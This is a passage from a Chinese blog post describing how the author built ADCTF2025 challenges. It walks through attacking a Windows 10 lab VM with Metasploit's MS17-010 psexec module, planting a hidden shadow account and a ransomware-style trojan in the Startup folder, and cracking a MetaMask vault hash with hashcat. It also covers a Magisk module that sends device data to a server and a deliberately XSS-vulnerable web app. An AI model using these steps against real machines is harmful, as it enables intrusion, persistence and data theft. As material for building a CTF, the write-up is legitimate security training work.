  <span class="comment"># 安全起见，获取计算机名称</span></span><br><span class="line">    PC_NAME = os.getenv(<span class="string">&quot;COMPUTERNAME&quot;</span>, <span class="string">&quot;UnknownPC&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> PC_NAME.startswith(<span class="string">&quot;LUMINE&quot;</span>):</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><h3 id="构建靶机（Win7，失败）"><a href="#构建靶机（Win7，失败）" class="headerlink" title="构建靶机（Win7，失败）"></a>构建靶机（Win7，失败）</h3><p>因为永恒之蓝（MS-17-010&#x2F;CVE-2017-0144）在当时太有名了，并且在利用上也有很多成型的方案，于是我打算打一个永恒之蓝</p><p>在最开始，我使用的是 Windows 7 x64 Professional SP1，我先把我的病毒打包好，然后尝试直接打永恒之蓝，并把病毒放上去直接运行，结果不出意外的就出意外了</p><p>当我在 shell 里面直接运行我的病毒，我的 shell 直接就没了，变成了 <code>More? meterpreter &gt;</code>，并且也没有实际效果</p><p>我最开始还想着是身份问题，因为永恒之蓝打上去以后是 <code>nt authority\system</code>，所以此时不是我自己创立的 <code>Luminoria</code> 账户，可能会导致我的 <code>%APPDATA</code> 无法展开和 <code>%USERNAME</code> 获取错误，于是我直接改了一个获取用户名的方案</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_all_user_profiles</span>():</span><br><span class="line">    users_path = os.path.join(os.getenv(<span class="string">&quot;SystemDrive&quot;</span>, <span class="string">&quot;C:&quot;</span>), <span class="string">r&quot;\Users&quot;</span>)</span><br><span class="line">    excluded_users = &#123;<span class="string">&#x27;Default&#x27;</span>, <span class="string">&#x27;Default User&#x27;</span>, <span class="string">&#x27;Public&#x27;</span>, <span class="string">&#x27;All Users&#x27;</span>, <span class="string">&#x27;WsiAccount&#x27;</span>&#125;</span><br><span class="line">    </span><br><span class="line">    user_list = []</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(users_path):</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> user_name <span class="keyword">in</span> os.listdir(users_path):</span><br><span class="line">        user_profile_path = os.path.join(users_path, user_name)</span><br><span class="line">        <span class="keyword">if</span> os.path.isdir(user_profile_path) <span class="keyword">and</span> \</span><br><span class="line">           user_name <span class="keyword">not</span> <span class="keyword">in</span> excluded_users <span class="keyword">and</span> \</span><br><span class="line">           os.path.exists(os.path.join(user_profile_path, <span class="string">&quot;Desktop&quot;</span>)):</span><br><span class="line">            user_list.append(user_name)</span><br><span class="line">    <span class="keyword">return</span> user_list</span><br></pre></td></tr></table></figure><p>通过这个方式直接获取系统内的用户，并对每个用户的文件进行加密</p><p>完成了以后还是不行，而且一点日志都没有，我排不出错误，于是我决定在靶机里面手动运行</p><p>结果不运行还好，一运行就是一个大坑</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/8c09ec4a-5e1a-41c6-b3cd-cbe0dd0cfee5.png"></p><p>这分明就是运行库的问题呀！！！</p><p>然后我就在想能不能 Win7 编译 Win7 跑，于是我用快照回退到有 VMTools 的那个版本，装了一个 Python 并编译，然后再拿过来，结果还是报一样的错误</p><p>看来没有必要的安全补丁的话，都没有对应的环境，只好作罢，换系统</p><h3 id="构建靶机（Win10，成功）"><a href="#构建靶机（Win10，成功）" class="headerlink" title="构建靶机（Win10，成功）"></a>构建靶机（Win10，成功）</h3><p>我突然想到，当时永恒之蓝出来的时候，Win10也没能幸免，说明那个时候的 Windows 10 是有这个问题的</p><p>于是我就去找 17 年左右或以前的 Windows，最后找了一个 Windows 10 1511（16年4月）</p><p>刚开始装的时候，VMWare 告诉我可以建议安装，我还说这么好，省事了，结果是给自己找麻烦了</p><p>VMWare 在建议安装的时候会带上 VMTools 的安装，在这个时候就会打上必要的补丁了，搞得我一直打不通，没办法，手动装吧</p><p>于是就见到了早期 Windows 10 还没有大型 OOBE 的时候的 UI</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/3E0EDC06852D1334A48552F5BE9BBE0B.png"></p><p>装好了以后，尝试跑一个永恒之蓝，发现打不通</p><p>搜了一下别人的经验，要调本地组策略</p><blockquote><p><a href="https://blog.zgsec.cn/archives/172.html">https://blog.zgsec.cn/archives/172.html</a></p></blockquote><p>于是在 <code>gpedit.msc</code> 里面，把 <code>可匿名访问的网络共享</code> 调成 <code>\</code>，然后把 <code>可匿名访问的命名管道</code> 设置成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">COMNAP</span><br><span class="line">COMNODE</span><br><span class="line">SQL\QUERY</span><br><span class="line">SPOOLSS</span><br><span class="line">NETLOGON</span><br><span class="line">LSARPC</span><br></pre></td></tr></table></figure><p>然后保存，发现可以连上了，但是在 kali 里面一跑 <code>run</code> 就蓝屏，错误的模块是 <code>srvnet.sys</code>，搜了一下告诉我是 payload 选错了，要选 <code>exploit/windows/smb/ms17_010_psexec</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msf exploit &gt; use exploit/windows/smb/ms17_010_psexec</span><br></pre></td></tr></table></figure><p>然后重新设置一下 <code>RHOSTS</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msf exploit &gt; set RHOSTS 192.168.237.151</span><br></pre></td></tr></table></figure><p>然后 <code>run</code>，就成功得到后门连接了</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/vmware_A3ejDWgi1z.png"></p><h3 id="进行渗透"><a href="#进行渗透" class="headerlink" title="进行渗透"></a>进行渗透</h3><p>首先我把两个文件传了上去，一个是前阵子在 Github 发现的影子账户创建工具</p><blockquote><p><a href="https://github.com/wgpsec/CreateHiddenAccount">https://github.com/wgpsec/CreateHiddenAccount</a></p></blockquote><p>还有一个是我自己做的马，我先用这个工具创建了一个影子账户</p><p>这样就完成了第二题的出题，答案应该为 <code>PaffCream$</code></p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/vmware_Z808cVSMkh.png"></p><p>然后我就把这个 <code>a.exe</code> 删掉了，不留痕迹，然后跑我的马</p><p>因为还是发现直接在 shell 里面执行不了我的马，所以我把马传到了用户的 <code>shell:startup</code> 里面去</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; upload 安全中心.exe &quot;C:/Users/Luminoria/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup&quot;</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/vmware_kYqz60xXBK.png"></p><p>这样就可以实现用户重启系统&#x2F;重新登录以后触发，然后去 shell 里面直接触发一次重启</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">shutdown -r -t 0</span></span><br></pre></td></tr></table></figure><p>重启并自动登录后，机子就弹出了黑框框了，然后直接就把东西给加密了</p><h3 id="获得内存"><a href="#获得内存" class="headerlink" title="获得内存"></a>获得内存</h3><p>我没用 Dumpit.exe，不知道为啥 Dump 出来的有问题，所以本文先不管这个方法</p><p>因为我运行在 VMware 里面，所以直接用 VM 的工具就行了</p><p>在安装目录有一个 <code>vmss2core.exe</code>，可以转储内存为 dmp 文件（需要管理员权限运行）</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">.\vmss2core.exe -W8 Vuln10-12a24566.vmss Vuln10-12a24566.vmem</span></span><br><span class="line">vmss2core version 24583834 Copyright (C) 1998-2025 Broadcom. All Rights Reserved.</span><br><span class="line">scanning pa=0 len=0x10000000</span><br><span class="line">... 100 MBs written.</span><br><span class="line">... 200 MBs written.</span><br><span class="line">... 300 MBs written.</span><br><span class="line">... 400 MBs written.</span><br><span class="line">... 500 MBs written.</span><br><span class="line">... 600 MBs written.</span><br><span class="line">... 700 MBs written.</span><br><span class="line">... 800 MBs written.</span><br><span class="line">... 900 MBs written.</span><br><span class="line">... 1000 MBs written.</span><br><span class="line">... 1100 MBs written.</span><br><span class="line">... 1200 MBs written.</span><br><span class="line">... 1300 MBs written.</span><br><span class="line">... 1400 MBs written.</span><br><span class="line">... 1500 MBs written.</span><br><span class="line">... 1600 MBs written.</span><br><span class="line">... 1700 MBs written.</span><br><span class="line">... 1800 MBs written.</span><br><span class="line">... 1900 MBs written.</span><br><span class="line">... 2000 MBs written.</span><br><span class="line">Finished writing core.</span><br></pre></td></tr></table></figure><p>然后就能在当前目录得到 <code>memory.dmp</code> 文件，就是内存转储了</p><h2 id="Gering-Ding-Ding-Ding"><a href="#Gering-Ding-Ding-Ding" class="headerlink" title="Gering Ding Ding Ding"></a>Gering Ding Ding Ding</h2><blockquote><p>题目仓库：<a href="https://github.com/GDUTMeow-Challenges/Challenge-Gering-ding-ding-ding">https://github.com/GDUTMeow-Challenges/Challenge-Gering-ding-ding-ding</a></p></blockquote><p>出这个题目最初的想法来源是本来想出 Web3 的题目的，奈何自己确实对 Web3 不熟悉，而我想的取证三个方向（流量、硬盘、内存）中，硬盘取证缺少那么点点子</p><p>所以在做了一点研究以后，发现 Firefox + MetaMask 的取证是可行的，所以就出了这个题目</p><h3 id="对-LocalStorage-的提取"><a href="#对-LocalStorage-的提取" class="headerlink" title="对 LocalStorage 的提取"></a>对 LocalStorage 的提取</h3><p>最开始其实我是用的 Edge，因为那天早上我在上数据结构的实验课，我在我的黑苹果上用 Edge 试了一下，当时是感觉可行，所以最开始是用了 Edge 出的</p><p>但是我在网上找到的 Chrome 那个方法（Edge 用的也是 Chrome 内核），Edge 出来的插件的 ldb 里面不像文章所说的有 KeyringController 关键词，后面用 Chrome 也有一样的问题，所以只能放弃 Chrome 内核的浏览器，用 firefox 那篇文章的那个方法</p><h3 id="数据处理与密码爆破"><a href="#数据处理与密码爆破" class="headerlink" title="数据处理与密码爆破"></a>数据处理与密码爆破</h3><p>用了 Firefox 以后，提取数据其实不是什么问题，问题出现在了我爆破这一节</p><p>在文章 <a href="https://cauliweak9.github.io/2024/09/11/fox-n-fox/">当大狐狸遇上小狐狸——Win11火狐Metamask取证小记 | 9C±Void’s Blog</a> 中提到，hashcat 的 26600 不能爆破出来，要用 26620 或者是后面那个 26650，我先用的 26620，发现会爆格式不正确的问题，但是我也没细看</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">hashcat -a 0 -m 26620 metamask_hash.txt rockyou.txt</span>                                                                           </span><br><span class="line"></span><br><span class="line">hashcat (v6.2.6) starting</span><br><span class="line"></span><br><span class="line">OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]</span><br><span class="line">====================================================================================================================================================</span><br><span class="line">* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 1438/2940 MB (512 MB allocatable), 2MCU</span><br><span class="line"></span><br><span class="line">/usr/share/hashcat/OpenCL/m26620-optimized.cl: Pure kernel not found, falling back to optimized kernel</span><br><span class="line">Minimum password length supported by kernel: 8</span><br><span class="line">Maximum password length supported by kernel: 256</span><br><span class="line"></span><br><span class="line">Hashfile &#x27;metamask_hash.txt&#x27; on line 1 ($metam...c1rEt6HNYKWONDDqOreSDKEp88oKzyQ=): Token encoding exception</span><br><span class="line">No hashes loaded.</span><br><span class="line"></span><br><span class="line">Started: Thu Oct 16 22:39:59 2025</span><br><span class="line">Stopped: Thu Oct 16 22:39:59 2025</span><br></pre></td></tr></table></figure><p>我就去找 26650，我都翻遍了整个互联网（包括 web archive），都没有找到备份，那没办法了，只好继续看看怎么用 26620 了</p><p>后面我看到了文章里面这句标黄的字</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/msedge_ASIgHZm5gb.png"></p><p>再看看我的 hash，发现有 <code>rounds=</code>，删掉了以后就能够用 26620 爆破了</p><p>再往后都是常规操作了，SRP 得到钱包再得到密钥，此处就不再赘述了</p><h2 id="原神，启动！"><a href="#原神，启动！" class="headerlink" title="原神，启动！"></a>原神，启动！</h2><blockquote><p>题目仓库：<a href="https://github.com/GDUTMeow-Challenges/Challenge-Its-Genshin-Time">https://github.com/GDUTMeow-Challenges/Challenge-Its-Genshin-Time</a></p></blockquote><p>出这个题的背景主要是，我在当时刷到了一条关于 Magisk 模块安全性的新闻(?)</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/Telegram_VvFT7I5dSK.png"></p><blockquote><p>src: <a href="https://t.me/zaihuapd/36418">https://t.me/zaihuapd/36418</a></p></blockquote><p>虽然说这篇帖子的这个贴主明显就是缺少经验了，但是安装来路不明的 Magisk 模块确实是很危险的一件事情，所以我就想以这个背景来出一个题目</p><p>至于为什么会选择原，是因为之前看到过一个比较搞事的模块，叫「自动下载原神」，会在每次开机的时候检测手机里是不是存在原神，如果没有的话就会自动下载安装</p><p><img src="https://assets.bili33.top/img/%23Miscellaneous/launch-genshin.jpg"></p><p>然后我就去稍微写了一个 Magisk 模块</p><h3 id="Magisk-模块"><a href="#Magisk-模块" class="headerlink" title="Magisk 模块"></a>Magisk 模块</h3><p>我的想法是这样的，毕竟原本体还是太大了，所以我选择下的是云原神</p><p>在设备开机的时候先进行一次检测，如果不存在则下载，并发送通过云控服务器获取配置，“窃取”一定的设备标识及数据并发送到远程服务器，随后进入 loop，持续检测，只要云原被删除了就重复整个过程</p><p>而具体的操作，是通过云控脚本进行的，于是简单做了一个服务器，并放了一个云控脚本</p><p>而我在 Magisk 模块的 <code>system.prop</code> 里面，写了名为 <code>challenge.secret.info</code> 的键值对，这样在 Magisk 模块安装的时候，这个键值对就会被加入到 <code>system.prop</code> 里面去</p><p>然后在按照 Magisk 模块的标准稍微打包一下，就完成了</p><h3 id="抓包"><a href="#抓包" class="headerlink" title="抓包"></a>抓包</h3><p>我在模拟器里面装了 termux 来用 tcpdump，直接去这里下一个 tcpdump</p><blockquote><p><a href="https://www.androidtcpdump.com/android-tcpdump/downloads">tcpdump Binary Downloads (32 Bit) | Android tcpdump</a></p></blockquote><p>然后传入模拟器运行，结果需要 root 权限，那没办法，给了，给了以后，在 tcpdump 启动的情况下不断对着自动安装的云原点卸载就好了，期间还访问了一下网易 mumu 的游戏中心，掺杂一些干扰数据，就完成了</p><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><h2 id="BaseGDUT-BaseHajimi"><a href="#BaseGDUT-BaseHajimi" class="headerlink" title="BaseGDUT BaseHajimi"></a><del>BaseGDUT</del> BaseHajimi</h2><blockquote><p>题目仓库：<del><a href="https://github.com/GDUTMeow-Challenges/Challenge-BaseGDUT">https://github.com/GDUTMeow-Challenges/Challenge-BaseGDUT</a></del> <a href="https://github.com/GDUTMeow-Challenges/Challenge-BaseHajimi">https://github.com/GDUTMeow-Challenges/Challenge-BaseHajimi</a></p></blockquote><p>出这题主要是刚开学那会有人想学CTF，私信问我 Base64 是什么</p><p>然后我想，Base 本身是存在编码表的，而且我们平时也存在换表这一操作</p><p>所以说，我直接出个自定义编码表 Base8，来考考选手对 Base 系列的基本理解</p><blockquote><p><del>然后就跟 ?CTF 撞点子了 &#x3D;-&#x3D;</del></p></blockquote><p>在选编码表的时候，我想着既然是校内赛，就选一个跟学校相关的编码表，最后敲定的是 <code>GDUTgdut</code> 这八个字符，使用 <code>=</code> 填充</p><p>反正爆来爆去也就 8! 种情况，很快就出来了，其他也没啥好讲的了</p><h3 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h3><p>是的，本来是上面的都是这题的设想的，但是某一天，Unknown 在群里面提了个建议，改成 Hajimi，于是我就改成用 <code>哈基米哦南北绿豆</code> 几个字符换掉了原来我的 <code>GDUTgdut</code> 八个字符，变成了 BaseHajimi</p><h2 id="Click-the-Circles"><a href="#Click-the-Circles" class="headerlink" title="Click the Circles"></a>Click the Circles</h2><blockquote><p>题目仓库：<a href="https://github.com/GDUTMeow-Challenges/Challenge-Click-the-Circles">https://github.com/GDUTMeow-Challenges/Challenge-Click-the-Circles</a></p></blockquote><p>出这题的原因主要是我个人在玩 Osu!</p><p><img src="https://osu-sig.vercel.app/card?user=GamerNoTitle&mode=std&animation=true&skills=true"></p><p>想着能用 Osu! 做些什么题目，本来想把题目放进铺面（指 note）里面的，但是后来想想还是算了，又不是所有人都会玩音游</p><p>然后就去翻了一下 Osu! 的铺面文档，发现了放在书签位置的话，就可以在不影响铺面正常元数据和铺面游玩的情况下放信息</p><p>然后我又想到了 <a href="/posts/MoeCTF2024-Writeup/#%E6%9D%82%E9%A1%B9%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97">moeCTF 2024 的海报题</a>，那个题目把摩斯电码放到了海报里面，所以我也学着用摩斯电码隐藏信息</p><p>而摩斯电码是部分大小写的，这点在 <a href="/posts/ADCTF2024-Writeup/#Easy-Black-MIDI-Bad-Apple">ADCTF 2024 吃过亏</a>，所以我限定了字母要小写</p><p>然后花了点时间找了个合适的谱子，把时间序列往上面一放就搞定了</p><h2 id="知识问答"><a href="#知识问答" class="headerlink" title="知识问答"></a>知识问答</h2><p>本来没打算出这种题目的，但是之前跟网络中心开会的时候他们的意思是还是想要有科普题，然后我就去找了个最近的题库</p><blockquote><p>题库来源于中国社会科学院大学网络中心：<a href="https://nc.ucass.edu.cn/info/1160/1594.htm">https://nc.ucass.edu.cn/info/1160/1594.htm</a></p></blockquote><p>然后随便撸了一个前端，就这样了</p><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="Worthit"><a href="#Worthit" class="headerlink" title="Worthit"></a>Worthit</h2><blockquote><p>题目仓库：<a href="https://github.com/GDUTMeow-Challenges/Challenge-WorthIt">https://github.com/GDUTMeow-Challenges/Challenge-WorthIt</a></p></blockquote><h3 id="题目设计"><a href="#题目设计" class="headerlink" title="题目设计"></a>题目设计</h3><p>这个题目其实最开始是我的个人项目，当时心血来潮写了一个这个程序，然后我在最开始在前端 js 采用的是拼接字符串的方式（没错这很危险）</p><p>因为我想的是，这东西是你个人使用的，然后我又加了 <code>httponly</code> 的 Cookie 标识，所以其实 XSS 并没有什么可以利用的</p><p>但是当时让 Rusty 测都测了，还是给修了吧，然后我顺带拿这个来出题好了</p><h3 id="从源码改到题目"><a href="#从源码改到题目" class="headerlink" title="从源码改到题目"></a>从源码改到题目</h3><p>就像我上面说的，我其实加了 <code>httponly</code> 的标识，所以我先给它删了；又考虑到我们的靶机出来都不会上 https，所以我又把 <code>secure</code> 删了</p><p>然后我稍微添了点乱，禁用了 <code>script</code> 关键词，但是聪明的你一定能想到其他的关键词吧</p><h2 id="Y2K-Bank"><a href="#Y2K-Bank" class="headerlink" title="Y2K Bank"></a>Y2K Bank</h2><blockquote><p>题目仓库：<a href="https://github.com/GDUTMeow-Challenges/Challenge-Y2K-Bank">https://github.com/GDUTMeow-Challenges/Challenge-Y2K-Bank</a></p></blockquote><h3 id="题目设想"><a href="#题目设想" class="headerlink" title="题目设想"></a>题目设想</h3><p>这题其实最开始的设想不是这样的，我一开始没有打算把它出成与银行存款、千年虫等各种元素相关的题目</p><p>我最开始的设想是，在购物平台购物的时候，购物车里经常会让我们选择购买数量，这个时候如果我输入成负数，就可以让购物平台倒欠我的钱，给我米，然后攒够钱来买 flag，是这样设想的</p><p>但是吧，在出上面那个 Dangerous Worm 的时候，找那个 2114 年 5 月 14 日的星期的时候，Windows 这里直接就不显示农历了</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/msedge_ruKXph6C9o.png"></p><p>然后我就想起来了有 Y2K 这个东西，就想基于这个东西出题，而当时受 Y2K 威胁最大的其实是各种金融机构，所以我就一改，把这个背景改成了银行</p><h3 id="构建后端"><a href="#构建后端" class="headerlink" title="构建后端"></a>构建后端</h3><p>后端这一块，因为最近已经从 flask 转到 FastAPI 上面了，所以我很自然的就用了 FastAPI 来弄后端</p><p>在实现 Y2K 的时候，我在想要怎么实现 Y2K 的这个效果，因为本身 Y2K 的出现就是因为计算机采用两位数字存储年份（前面默认为 <code>19</code>，拼接得到 <code>19xx</code>），然后就采用了输入数字与 100 取模的方式，得到尾巴两位，然后与 <code>19</code> 拼接，就得到了千年虫的效果</p><p>那么问题就是，要怎么让日期变得可以更改，最后我决定让前端传入日期（这显然是不合规的，也不应该出现在任何一个银行系统中，但是 CTF 题目嘛，倒也无所谓？），这样用户就可以通过 Yakit 或者 Burpsuite 拦截以后直接修改，或者用 Hackbar 直接发啥的</p><h3 id="构建前端"><a href="#构建前端" class="headerlink" title="构建前端"></a>构建前端</h3><p>我个人的设想就是用银行的 ATM 界面，所以直接把需求给 v0 让它帮我写了，没啥好说的，然后因为绿色的我觉得看久了还是眼睛挺痛的，于是又加了一个 modern 版本的开关，可以切换（你发现了吗）</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/UOgUxGPfvH.png"></p><h2 id="Crossy-Road"><a href="#Crossy-Road" class="headerlink" title="Crossy Road"></a>Crossy Road</h2><p>这个倒没啥技术含量，只是之前抓很多网站的请求的时候，DevTool 会被 ban 或者是会被无限 debugger，所以就弄个这个题目</p><h1 id="DS"><a href="#DS" class="headerlink" title="DS"></a>DS</h1><h2 id="DSFileChecker"><a href="#DSFileChecker" class="headerlink" title="DSFileChecker"></a>DSFileChecker</h2><p>这是一个平台（并非题目），因为前阵子打羊城杯和去年打羊城杯，数据安全这里都有一个东西叫做 DAS File Checker 来做校验（安恒的平台），而去年的网安卫士，我们是没做这个的，是让选手直接把结果拿去算 md5 得到结果，这样就导致了选手其实不知道自己对了多少错了多少，并且要求 100% 正确才能得到 flag（而 DAS File Checker 允许通过某一个正确率，例如 95%，即可获取 flag），所以我就打算做那么个平台</p><blockquote><p><a href="https://github.com/GamerNoTitle/DSFileChecker">https://github.com/GamerNoTitle/DSFileChecker</a></p></blockquote><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/msedge_Ov9GzJkyDz.png"></p><p>基本上，正确率的计算基于以下原则</p><ul><li>将标准答案的数据读取进入内存，并生成唯一标识</li><li>统计行数，从行数上先查看是否有多余</li><li>计算正确行数，对于每一条数据，取出现位置较小的那个行，并比对数据</li><li>如果有多余数据，会导致分母变大</li><li>最终计算方法为 <code>Accuracy = CorrentLines / (AnswerLines + AdditionalLines)</code></li></ul><p>所以这样计算的话，就会让冗余数据稀释正确率，达到了我的目的</p><p>随后就是对各种变量的设置，我设置了各种 <code>flag</code> 和 <code>accuracy</code> 变量，<code>accuracy</code> 变量是作为正确率阈值的，当选手的正确率达到了这个规定的阈值，才给出 flag</p><p>然后还做了对各种平台的 flag 注入的适配（这些 flag 变量是从探姬的 <a href="https://github.com/CTF-Archives/ctf-docker-template">https://github.com/CTF-Archives/ctf-docker-template</a> 里面发现的）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Flag will be read from env</span></span><br><span class="line">FLAG = os.getenv(<span class="string">&quot;FLAG&quot;</span>, <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> FLAG == <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>:  <span class="comment"># fallback 到 gzctf 平台</span></span><br><span class="line">    FLAG = os.getenv(<span class="string">&quot;GZCTF_FLAG&quot;</span>, <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> FLAG == <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>:  <span class="comment"># fallback 到 dasctf 平台</span></span><br><span class="line">    FLAG = os.getenv(<span class="string">&quot;DASCTF_FLAG&quot;</span>, <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> FLAG == <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>:  <span class="comment"># fallback 到 attackr 平台</span></span><br><span class="line">    FLAG = os.getenv(<span class="string">&quot;ATTACKR_FLAG&quot;</span>, <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>)</span><br></pre></td></tr></table></figure><p>采用了逐级 fallback 的方式来获取 flag，但是后面问了 AI，说其实可以写的更好看，于是改成了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Flag will be read from env</span></span><br><span class="line">flag_env_vars = [<span class="string">&quot;FLAG&quot;</span>, <span class="string">&quot;GZCTF_FLAG&quot;</span>, <span class="string">&quot;DASCTF_FLAG&quot;</span>, <span class="string">&quot;ATTACKR_FLAG&quot;</span>]</span><br><span class="line"><span class="keyword">for</span> var <span class="keyword">in</span> flag_env_vars:</span><br><span class="line">    flag = os.getenv(var)</span><br><span class="line">    <span class="comment"># Stop at the first found flag</span></span><br><span class="line">    <span class="keyword">if</span> flag <span class="keyword">and</span> <span class="keyword">not</span> flag == <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="comment"># If no flag found in env, use default invalid flag</span></span><br><span class="line">FLAG = flag <span class="keyword">or</span> <span class="string">&quot;flag&#123;INVALID_FLAG_CONTACT_ADMIN&#125;&quot;</span></span><br></pre></td></tr></table></figure><h2 id="找回订单"><a href="#找回订单" class="headerlink" title="找回订单"></a>找回订单</h2><p>出这个题目纯属是因为当时在羊城杯看到 <a href="/posts/CTF-YCB2025-Finals/#DS4">DS4</a> 那个题目太宝宝巴士了，刚好需要一些宝宝巴士的题目就拿过来了</p><p>把数据拿过来的时候我顺带就进行了一些修改和要求的增加，避免有人搜到原题直接一把梭，大致如下</p><ul><li>邮箱里面的 <code>meishu-tech.com</code> -&gt; <code>adctf.org</code></li><li>产品里面的 <code>美枢科技</code> -&gt; <code>ADLab</code></li><li>增加了还原用户名的要求</li><li>增加了还原产品名的要求</li></ul><p>所以如果对 sql 语句熟悉的话，可以直接把东西拿出来以后写一个脚本一把梭，实在是没什么难度</p><h2 id="Plain-HTTP-Data"><a href="#Plain-HTTP-Data" class="headerlink" title="Plain HTTP Data"></a>Plain HTTP Data</h2><p>这个题目也是想的出的宝宝巴士一点，所以就出了这个直接 http 明文传输可直接提取处理的题目</p><p>最开始，我的数据量其实在 10W 的级别，但是我在用我自己的 Wireshark 提取的时候，想着肯定有人用左上角文件导出对象来保存的，不试不要紧，一试就发现在这个过程中，数据量太大了，Wireshark 容易直接罢工</p><p>那没办法，宝宝巴士还得是宝宝巴士，所以就减小数据量到 1k 了，然后我还把一些干扰数据给剔除了，才保存的附件，应该……能做出来吧……</p><h1 id="群-Bot-编写"><a href="#群-Bot-编写" class="headerlink" title="群 Bot 编写"></a>群 Bot 编写</h1><p>因为之前都有群播报 bot，并且 ?CTF 的播报 bot 是正常使用的，所以我就想着弄一个 Bot，可以播报前三血和公告啥的内容</p><p>问了一圈，发现说 napcat 好用且稳定，然后我先去弄了一个 napcat，并登录了我的小号</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/msedge_DH0idVvGU8.png"></p><p>然后抓了一下 A1CTF 平台的 